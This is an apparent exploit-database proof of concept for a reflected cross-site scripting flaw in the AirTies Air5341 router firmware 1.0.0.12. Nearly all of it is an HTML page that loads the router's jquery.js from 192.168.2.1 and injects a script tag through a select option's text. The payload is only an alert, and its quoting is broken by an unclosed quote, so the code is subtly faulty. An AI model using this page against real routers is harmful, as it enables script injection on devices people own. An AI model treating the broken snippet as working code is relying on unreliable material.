# Exploit Title: AirTies Air5341 XSS Reflected JQuery 1.4.2 # Date: 10-09-2017 # Exploit Author: Alican Gönüllü - God3err # Version: AirTies Air5341 Firmware 1.0.0.12 # Tested on: Komutan Linux - Debian Exploits : ---------------------------- <html> <head> <meta charset="utf-8"> <title>God3err XSS Protect </title> <script src="http://192.168.2.1/js/jquery.js"></script> <script> $(function() { $('#users').each(function() { var select = $(this); var option = select.children('option').first(); select.after(option.text()); select.hide(); }); }); </script> </head> <body> <form method="post"> <p> <select id="users" name="users"> <option value="xssreflected"><script>alert('God3err Xss Founded;);</script></option> </select> </p> </form> </body> </html>